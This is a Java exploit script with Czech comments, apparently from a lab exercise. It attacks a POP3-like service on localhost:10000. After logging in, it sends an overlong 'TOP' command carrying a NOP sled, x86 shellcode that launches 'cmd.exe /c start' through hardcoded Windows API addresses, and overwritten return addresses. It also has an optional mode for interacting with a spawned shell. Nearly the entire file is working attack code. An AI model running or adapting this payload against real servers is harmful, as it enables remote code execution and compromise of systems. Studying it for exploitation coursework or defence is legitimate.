package javasandbox;

import java.io.*;
import java.net.*;
import java.util.*;

public class Main {

    static boolean waitForEnter;
    static int time_wait = 250;
    static Scanner sc;
    static Socket s;
    static OutputStream out;
    static InputStream in;

    public static void main(String[] args) throws Exception {

        // ------- KONFIGURACE --------

        // zapina interaktivni rezim tohoto programu
        waitForEnter = true;

        // ukoncovaci retezec telnet modu. prazdny = telnet mode se nekona
        String terminator = "";

        // hadej, muzes trikrat
        String host = "localhost";
        int port = 10000;

  
        sc = new Scanner(System.in);
        s = new Socket(host,port);
        out = s.getOutputStream();
        in = s.getInputStream();
        System.out.println("Connected.");

        send("user apiuser");
        send("pass apiuser");

        String prefix = "TOP 1 1";


        byte[] hax = new byte[ 127 ];       // buffer mozno v pripade potreby natahnout a prednaplnit nopy

        hack(prefix, hax);

        if(!terminator.isEmpty()) {
            System.out.println("Shell spawned, entering telnet mode.");

            String line;
            for(;;) {
                line = sc.nextLine();
                if(line.equals(terminator)) break;
                send(line);
            }
        }

        System.out.println("DONE");
    }

    public static void sendBytes(byte[] b) throws Exception {
        out.write(b);
        out.flush();
        if(waitForEnter) {
            System.out.println("Paused. Press enter to continue.");
            sc.nextLine();
        }else {
            Thread.sleep(time_wait);
        }
        while(in.available() > 0) {
            System.out.append((char)in.read());
        }
    }

    public static void send(String s) throws Exception {
        System.out.println("SEND " + s);
        sendBytes((s + "\r\n").getBytes("US-ASCII"));
    }

    public static void hack(String s, byte[] b) throws Exception {
        out.write(s.getBytes("US-ASCII"));
        int[] bb = {0xeb,0x1b,0x5b,0x31,0xc0,0x50,0x31,0xc0,0x88,0x43,0x35,0x53,
               0xbb,0xad,0x23,0x86,0x7c,0xff,0xd3,0x31,0xc0,0x50,0xbb,0xfa,0xca,
               0x81,0x7c,0xff,0xd3,0xe8,0xe0,0xff,0xff,0xff,0x63,0x6d,0x64,0x2e,
               0x65,0x78,0x65,0x20,0x2f,0x63,0x20,0x73,0x74,0x61,0x72,0x74};
        
        for (int i = 0; i < b.length; i++) {

            b[i] = (byte)0x90;

            if(i == 113)
                b[i] = (byte)0xa7;
            if(i == 114)
                b[i] = (byte)0xf9;
            if(i == 115)
                b[i] = (byte)0x12;
            if(i == 116)
                b[i] = (byte)0x00;
            if(i == 117)
                b[i] = (byte)0xd3;
            if(i == 118)
                b[i] = (byte)0xac;
            if(i == 119)
                b[i] = (byte)0x81;
            if(i == 120)
                b[i] = (byte)0x7c;
        }
       // b[9] = (byte)0xcc;//breakpoint
        for (int i = 0; i < bb.length; i++) {
            b[i + 10] = (byte)bb[i];
        }
        out.write(b);
        waitForEnter = false;
        send("");
    }
}